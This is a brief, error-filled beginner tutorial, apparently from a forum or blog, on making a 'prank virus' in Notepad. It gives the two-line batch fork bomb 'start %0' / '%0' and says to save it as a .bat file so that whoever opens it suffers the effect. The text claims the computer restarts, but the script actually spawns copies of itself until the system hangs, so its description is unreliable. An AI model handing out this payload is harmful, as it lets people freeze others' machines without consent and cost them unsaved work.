How to create a prank virus.

so, lets start to learn to create a computer virus
.
.
first of all start  note pad,
now type the following,
start %0
%0.
now save the file as "name of virus"with extension.bat
now,
anybody opens the file
the computer gets restarted...

today i told a simple virus virus  next time.
I will tell a complex virus.
this virus oly for fun.
and for beginers...............
thats all thank you.......